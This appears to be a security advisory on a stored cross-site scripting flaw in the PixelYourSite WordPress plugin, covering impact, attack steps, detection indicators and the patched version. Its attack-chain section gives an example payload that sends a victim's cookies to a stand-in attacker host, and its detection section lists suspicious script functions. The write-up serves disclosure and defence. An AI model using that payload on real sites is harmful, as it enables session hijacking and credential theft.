CVE-2026-27072: 
WordPress vulnerability analysis and mitigation

CVE-2026-27072 is a Stored Cross-Site Scripting (XSS) vulnerability in the PixelYourSite – Your Smart PIXEL (TAG) Manager WordPress plugin, affecting versions up to and including 11.2.0.1. The vulnerability was reported on February 7, 2026, by researcher Nguyen Ba Khanh and published by Patchstack on February 17, 2026. It carries a CVSS v3.1 base score of 7.1 (Medium/High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), specifically of the stored (persistent) variant. An unauthenticated attacker can inject malicious scripts into the plugin's data fields, which are then stored and later rendered in the browser of any user who visits the affected page. Exploitation requires user interaction — a privileged user must trigger the stored payload by visiting or interacting with the affected page. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other users and site integrity (Patchstack).

No active in-the-wild exploitation has been confirmed for CVE-2026-27072. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

1. Reconnaissance: Identify WordPress sites running the PixelYourSite plugin at version 11.2.0.1 or earlier using tools like WPScan or Shodan queries targeting WordPress plugin fingerprints.
2. Identify injectable field: Locate the plugin's configuration or input fields that are stored and later rendered without proper sanitization in the WordPress admin or front-end context.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable input field without requiring authentication.
4. Payload persistence: The malicious script is stored in the WordPress database via the plugin's data handling routines.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the page or admin panel where the stored payload is rendered, causing the script to execute in their browser session.
6. Achieve objective: Harvest session cookies, perform unauthorized admin actions, or redirect visitors to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings or configuration endpoints from unauthenticated or low-privilege sources; repeated requests with HTML/JavaScript content in parameter values.
• File System: Unexpected modifications to WordPress database entries associated with the PixelYourSite plugin settings containing <script> tags or encoded JavaScript.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages where the plugin renders content; traffic to attacker-controlled cookie-harvesting endpoints.
• Application: Presence of obfuscated or encoded JavaScript strings (e.g., eval(), atob(), document.cookie) within plugin-managed content fields in the WordPress database (wp_options table).

The vendor has released version 11.2.0.2 of the PixelYourSite – Your Smart PIXEL (TAG) Manager plugin, which resolves this vulnerability. Site administrators should update to version 11.2.0.2 or later immediately via the WordPress plugin dashboard. Patchstack users benefit from a virtual patch (mitigation rule) that blocks exploitation attempts until the plugin is updated. If immediate updating is not possible, consider temporarily deactivating the plugin and consulting your hosting provider (Patchstack).

Patchstack published the vulnerability disclosure on February 17, 2026, crediting researcher Nguyen Ba Khanh with discovery. Sucuri included this vulnerability in their February 2026 patch roundup, highlighting it as part of broader WordPress plugin security coverage. No significant vendor statements or notable social media discussion beyond standard security community aggregation has been identified (Patchstack).